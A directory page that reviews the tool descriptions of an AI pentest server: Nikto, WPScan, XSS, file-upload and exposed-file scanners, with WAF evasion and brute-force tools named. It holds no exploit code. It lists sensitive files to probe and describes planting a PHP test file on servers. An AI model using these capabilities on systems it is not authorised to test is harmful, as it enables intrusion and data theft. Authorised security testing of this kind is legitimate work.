Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (a comprehensive web scanner) and the presence of an output schema, the description covers the essential what and when. However, it does not mention how results are surfaced (e.g., saved findings for later retrieval via listar_findings), which would be helpful for workflow orchestration. Still, for a scanning tool, it is sufficiently complete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%: both target_url and evasion have clear descriptions with examples. The tool description adds no extra parameter context (e.g., formats, constraints) beyond what the schema already provides, so it meets the baseline for high coverage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it executes a web vulnerability scan using Nikto, naming the specific tool and its purpose. It also enumerates detection categories (sensitive files, missing headers, dangerous HTTP methods, outdated versions, XSS/injection vectors, weak SSL/TLS), which distinguishes it from sibling scanners like scan_nuclei or scan_sql_injection_sqlmap.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
It explicitly tells when to use: 'Use quando o Nmap identificar portas HTTP/HTTPS abertas.' This provides a clear trigger condition based on Nmap findings. While it doesn't name alternative tools for when not to use, the condition is specific enough to guide the agent.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_wordpress_wpscanA
Executa auditoria completa de WordPress usando WPScan. Use quando identificar um site WordPress (wp-login.php, wp-content/ no Gobuster/Nikto).
Detecta: plugins e temas vulneráveis, usuários enumerados, senhas fracas, xmlrpc habilitado, configurações inseguras, backups expostos.
| Name | Required | Description | Default |
|---|---|---|---|
| enumerate | No | O que enumerar. Padrão: "vp,vt,u" (plugins vulneráveis, temas, usuários). Opções: "vp" plugins vuln, "ap" todos plugins, "vt" temas vuln, "at" todos temas, "u" usuários, "cb" config backups, "dbe" DB exports | vp,vt,u |
| aggressive | No | True = modo agressivo (mais detalhado, mais lento e ruidoso). | |
| target_url | Yes | URL do WordPress. Ex: "http://192.168.1.10", "http://vulnwp-app:8080" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It lists detection capabilities but does not disclose potential side effects (e.g., active scanning noise, brute-force behavior, need for an API token for full plugin database). The aggressive parameter hints at noise in the schema, but the description itself lacks behavioral depth.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences: first states the purpose, second gives the usage trigger. The detection list is compact and informative. No redundant text or boilerplate; every sentence earns its place.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With full parameter schema coverage and an output schema present, the description provides enough context for selecting and starting a scan. It could mention that output formatting is structured (output schema) but the existing schema already handles that. Overall adequate for this tool's complexity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%: all three parameters (enumerate, aggressive, target_url) have detailed descriptions. The tool description adds no extra parameter semantics beyond the schema, so the baseline of 3 applies.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states a specific action ('Executa auditoria completa de WordPress') using a named tool (WPScan) and enumerates the key detection categories (plugins/themes, users, weak passwords, xmlrpc, backups). This clearly distinguishes it from sibling scanners like scan_nuclei or scan_xmlrpc_wordpress, which target broader or narrower scopes.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit when-to-use guidance: 'Use quando identificar um site WordPress' with concrete indicators (wp-login.php, wp-content/ no Gobuster/Nikto). It does not explicitly list exclusions or alternatives, but the trigger condition is clear and actionable.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_xmlrpc_wordpressB
Testa o endpoint xmlrpc.php do WordPress para vetores de ataque. Use quando WPScan ou Nikto reportar xmlrpc.php acessível.
| Name | Required | Description | Default |
|---|---|---|---|
| target_url | Yes | URL base do WordPress. Ex: "http://192.168.1.10:8080" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, and the description gives no information about side effects, permissions, or whether the tool is read-only or potentially destructive. The description is silent on what actions it performs beyond testing attack vectors, leaving the tool's behavior opaque.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise, consisting of two short sentences that clearly convey the purpose and usage condition. It does not include extraneous information, and the structure is direct and easy to scan.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description provides enough context for when to use the tool (based on reports from WPScan/Nikto) and what it does, but it lacks information on the expected output or any side effects. Since no output schema is given, the user does not know what the tool returns, and there is no mention of prerequisites or post-conditions. This leaves some gaps for complete understanding.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema provides a description for target_url with an example, but it does not clarify whether the URL should include the full path to xmlrpc.php or just the base URL. The example shows a base URL without a path, but the tool name suggests the endpoint is fixed. The description lacks details on required format or constraints, making it ambiguous.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states that the tool tests the WordPress xmlrpc.php endpoint for attack vectors, which is specific and distinguishes it from sibling tools that scan other aspects. The verb 'testa' and the object 'xmlrpc.php' make the purpose unambiguous.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use the tool: 'Use quando WPScan ou Nikto reportar xmlrpc.php acessível.' This provides a concrete trigger condition and implies it is a follow-up to those tools. It does not explicitly state when not to use it, but the condition is clear enough to guide usage.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
scan_xss_dalfoxA
Testa Cross-Site Scripting (XSS) usando Dalfox. Use quando a URL contiver parâmetros GET ou o Katana descobrir formulários.
Detecta: Reflected XSS, DOM XSS, bypass de filtros WAF.
| Name | Required | Description | Default |
|---|---|---|---|
| target_url | Yes | URL com parâmetros. Ex: "http://app.local/search?q=test" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the burden. It mentions the tool uses Dalfox and detects specific XSS types, but does not disclose potential side effects, rate limits, or whether it is a read-only operation. It does not contradict any annotations since none exist.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise, with three short sentences that are front-loaded with the purpose and usage. No unnecessary information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool is relatively simple with one parameter and an output schema. The description covers the purpose, usage context, and detection types. It could mention what the output looks like, but the output schema exists, so the description need not explain return values. Overall, it is complete for the tool's complexity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema description coverage is 100% for the single parameter, and the description adds an example of the expected format. The description does not add much beyond the schema, but the schema is already clear. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool tests for Cross-Site Scripting (XSS) using Dalfox, a specific tool. It also lists the types of XSS detected (Reflected, DOM, WAF bypass), which distinguishes it from other scanning tools in the sibling list like SQL injection or port scanning.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides clear guidance on when to use the tool: when the URL contains GET parameters or when Katana discovers forms. It does not explicitly mention when not to use it or alternatives, but the context is clear enough for an agent to decide.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
screenshot_gowitnessA
Captura screenshot da aplicação web para documentar evidências usando Gowitness. Screenshots salvos em /tmp/gowitness/ dentro do container.
| Name | Required | Description | Default |
|---|---|---|---|
| target_url | Yes | URL a capturar. Ex: "http://192.168.1.10/admin" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden. It discloses the output location (/tmp/gowitness/) and the underlying tool, which goes beyond the schema. However, it does not mention any potential side effects, authorization requirements, or failure conditions, so it could be richer. Still, it provides useful behavioral context.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two brief sentences, front-loaded with the main action and then the output location. No wasted words, clear and efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The tool is simple with one parameter and an output schema, so the description does not need to explain return values. It covers the essential context: what it does, the tool used, and where outputs are saved. It lacks notes on prerequisites or error conditions but is largely complete for its scope.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% for the single parameter, and the description's mention of 'URL a capturar' aligns closely with the schema's own description. The description adds minimal extra meaning beyond the schema, so the baseline of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action (captures screenshot), the resource (web application), the tool (Gowitness), and the purpose (document evidence). It is specific and distinct from sibling tools, which focus on scanning or enumeration rather than screenshotting.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for documenting evidence but does not explicitly provide when-to-use vs. when-not-to-use guidance or mention alternatives. It lacks explicit contextual boundaries, though the purpose is fairly explicit for its straightforward function.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
testar_upload_arquivoA
Verifica vulnerabilidade de upload irrestrito de arquivos (CWE-434). Envia um arquivo PHP de prova-de-conceito inócuo e verifica se é executável.
ATENÇÃO: Cria um arquivo PHP sem comandos destrutivos no servidor de teste. Use somente em ambientes autorizados.
| Name | Required | Description | Default |
|---|---|---|---|
| field_name | No | Nome do campo <input type="file"> no formulário. Padrão: "file" | file |
| upload_url | Yes | URL do endpoint de upload. Ex: "http://192.168.1.10/wp-content/plugins/vuln-plugin/upload.php" | |
| upload_path_hint | No | Caminho base onde o servidor salva uploads. Ex: "/wp-content/uploads/", "/uploads/", "/files/" | /wp-content/uploads/ |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries the full burden. It transparently discloses that the tool creates a PHP file on the target server, notes that it is innocuous and non-destructive, and explicitly warns about authorization. This goes beyond the minimal requirement and adds context about the tool's side effects, though it does not detail response handling (covered by output schema).
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise and front-loaded: the purpose is stated in the first sentence, the method in the second, and a crucial warning appended. No fluff or redundant information. It is well-structured for quick comprehension.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description covers the essential context: vulnerability identification, method, authorization requirement, and safety of the proof-of-concept. While it does not explain the output format, an output schema exists, and the description is complete for an agent to understand when and how to invoke the tool correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% description coverage for all three parameters, each with clear descriptions and examples. The tool description adds no additional parameter semantics beyond the schema, so the baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: verifying unrestricted file upload vulnerability (CWE-434), and specifies the method (sends an innocuous PHP proof-of-concept file and checks executability). It distinguishes from sibling security scan tools by naming the specific vulnerability type and technique.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides an explicit caution to use only in authorized environments, which is a key usage guideline. It implies the tool is for security testing of file upload endpoints, but does not explicitly mention alternatives or when not to use it. This is clear enough given the specialized nature.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
verificar_alvo_onlineA
Verifica se o alvo responde via ping antes de iniciar qualquer scan. Use como primeira verificação para evitar scans desnecessários.
| Name | Required | Description | Default |
|---|---|---|---|
| target | Yes | IP ou hostname. Ex: "192.168.1.10", "app.exemplo.com" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It discloses that the tool performs a ping check and implies it is a read-only operation that does not cause harm (no destructive behavior). It also indicates that it helps avoid unnecessary scans, which is additional context beyond a simple schema. However, it doesn't specify details like timeout, protocol (ICMP vs TCP), or what happens if the target doesn't respond, but for a simple ping, the coverage is decent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is only two sentences, concise and front-loaded. It clearly states the purpose and use case without any fluff. All sentences earn their place.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given its simplicity (one parameter, no nested objects, has an output schema), the description is complete enough. It explains when to use it, what it does, and the purpose. However, it doesn't mention the output format or what a successful/unsuccessful ping means, but the output schema likely covers that. The context signals indicate an output schema exists, which reduces the burden on the description. Overall complete for a simple tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% as the description of the parameter is included in the schema. The description adds minimal extra meaning beyond the schema, but since the schema already provides a clear example and format, the description's added value is low. The baseline for high schema coverage is 3, but the description slightly enhances by indicating the purpose of the parameter (the target to ping). However, it doesn't go beyond what the schema offers, so a 4 is generous; I'll stick with 4 as it meets the baseline and adds a tiny bit.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: 'Verifica se o alvo responde via ping' (Checks if the target responds via ping) before starting any scan. It specifies the verb and resource ('ping'), and it distinguishes itself from sibling tools by emphasizing it's a preliminary check to avoid unnecessary scans.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly says to use it as the first verification before any scan: 'Use como primeira verificação para evitar scans desnecessários.' It provides clear context for when to use this tool versus diving directly into other scanning tools. However, it does not explicitly list alternatives or when not to use it, but the guidance is sufficient.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
verificar_arquivos_expostosA
Verifica exposição de arquivos e diretórios sensíveis usando Gobuster com wordlist dedicada.
Detecta: .env, wp-config.php.bak, phpinfo.php, backup.zip, .git/, debug.log, composer.json, secrets.yml, database.sql, e dezenas de outros arquivos críticos. Use logo após o Gobuster padrão para cobertura específica de leaks.
| Name | Required | Description | Default |
|---|---|---|---|
| evasion | No | True = 3 threads + delay 500ms + User-Agent real. Use em sites com WAF. | |
| target_url | Yes | URL base do alvo. Ex: "http://192.168.1.10", "http://vulnwp-app:8080" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the transparency burden. It does disclose that the tool runs Gobuster with a dedicated wordlist and focuses on leak detection, which implies active HTTP probing. However, it omits operational details such as request volume, potential WAF interaction, or any access requirements, so transparency is only partially addressed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is front-loaded with a clear purpose sentence, followed by concrete detection examples and a practical usage note. Every sentence adds value and there is no filler or repetition.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description is sufficient for a moderately complex tool: it explains the purpose, the wordlist focus, specific file types, and where it fits in the scan workflow. Since an output schema exists, return-value details are not required, though a brief note on prerequisites or limitations would have made it fully complete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the input schema already documents target_url and evasion with useful examples. The tool description does not add parameter-level meaning beyond what the schema provides, which matches the baseline for high schema coverage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states a specific verb ('Verifica exposição'), a concrete resource ('arquivos e diretórios sensíveis'), and the technique ('Gobuster com wordlist dedicada'). The phrase 'Use logo após o Gobuster padrão para cobertura específica de leaks' differentiates it from the sibling scan_diretorios_gobuster and other scan tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives clear usage context: 'Use logo após o Gobuster padrão para cobertura específica de leaks.' This tells the agent when to run it, but it does not explicitly state when not to use it or name alternative tools beyond the standard Gobuster scan.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
verificar_headers_segurancaA
Analisa headers de segurança HTTP e flags de cookies do alvo. Retorna análise estruturada: headers presentes, ausentes ou misconfigurados, com severidade (high/medium/low) para cada achado.
Verifica: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security, Referrer-Policy, Permissions-Policy, CORS (Access-Control-Allow-Origin), cookies (HttpOnly, Secure, SameSite).
| Name | Required | Description | Default |
|---|---|---|---|
| target_url | Yes | URL do alvo. Ex: "http://192.168.1.10", "https://app.local" |
Output Schema
| Name | Required | Description |
|---|---|---|
No output parameters | ||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must convey behavior. It describes analyzing and returning a structured report but does not mention side effects, authentication needs, or rate limits.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise, with two clear sentences detailing the purpose and scope without any fluff.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description provides sufficient context, including the output format and severity levels, making it complete for its intended use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema already fully describes target_url, and the tool description does not add extra meaning beyond what is provided, so it remains at baseline.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it analyzes HTTP security headers and cookie flags, listing the specific headers checked, which distinguishes it from other scanning tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for security header assessment but does not explicitly state when to use or avoid this tool, nor does it mention alternatives.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
25 tool updates
v0.1.0- First observed
brute_force_hydra - First observed
crawl_aplicacao_katana - First observed
enum_subdominios_subfinder - First observed
enumerar_banco_mysql - First observed
fazer_requisicao_http - First observed
gerar_relatorio - First observed
gerenciar_allowlist - First observed
listar_findings - First observed
pentest_completo - First observed
retomar_sessao - First observed
scan_diretorios_gobuster - First observed
scan_fuzzing_ffuf - First observed
scan_nuclei - First observed
scan_portas_nmap - First observed
scan_sql_injection_sqlmap - First observed
scan_ssl_testssl - First observed
scan_vulnerabilidades_nikto - First observed
scan_wordpress_wpscan - First observed
scan_xmlrpc_wordpress - First observed
scan_xss_dalfox - First observed
screenshot_gowitness - First observed
testar_upload_arquivo - First observed
verificar_alvo_online - First observed
verificar_arquivos_expostos - First observed
verificar_headers_seguranca
TDQS
Scored across 25 tools
Most tools are clearly differentiated by scanner/tool name (nmap, subfinder, nikto, sqlmap, etc.) and phase (recon, scanning, evidence). The main confusion points are scan_diretorios_gobuster vs scan_fuzzing_ffuf and scan_vulnerabilidades_nikto vs scan_nuclei, but descriptions state when each should be used.
All names use lowercase snake_case and generally follow an action_object_tool pattern (scan_portas_nmap, enum_subdominios_subfinder). The main inconsistency is the scan_ prefix appearing on some tools but not on other action-first names like brute_force_hydra, screenshot_gowitness, or fazer_requisicao_http.
25 tools is at the threshold where the set starts to feel heavy. While a pentest suite justifies many specialized scanners, several tools overlap in function (directory enumeration, generic web vulnerability scanning), so the count is not as lean as it could be.
The set covers the full lifecycle from authorization and recon through scanning, evidence collection, findings listing, and report generation, plus session resume. Minor gaps exist around triage/management of findings (no update/delete or false-positive marking), but core pentest workflows are well covered.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Connectors
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.
Scans remote MCP servers for protocol, security, and TLS issues; exposes scan tools via MCP.
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
Related MCP Servers
- -licenseNot gradedqualityNot gradedmaintenanceA Kali Linux-based MCP server that exposes over 45 penetration testing tools for AI-assisted security auditing and vulnerability scanning. It features strict scope enforcement, structured output parsing, and persistent finding storage to automate the offensive security workflow.-
- FlicenseNot gradedqualityCmaintenanceA penetration testing MCP server that runs 20 hacking tools inside a Kali Linux Docker container, enabling AI assistants to execute security scans and attacks via natural language.2-
- FlicenseNot gradedqualityDmaintenanceA Dockerized Kali Linux MCP server that enables LLMs to perform network security scans, penetration testing, and reconnaissance using tools like Nmap, Nikto, Hydra, and SQLMap.10-
- FlicenseNot gradedqualityBmaintenanceA Docker-based MCP server exposing a curated set of Kali Linux security tools for authorized, hands-on network scanning on private ranges, with enforced trustworthiness and honest output.-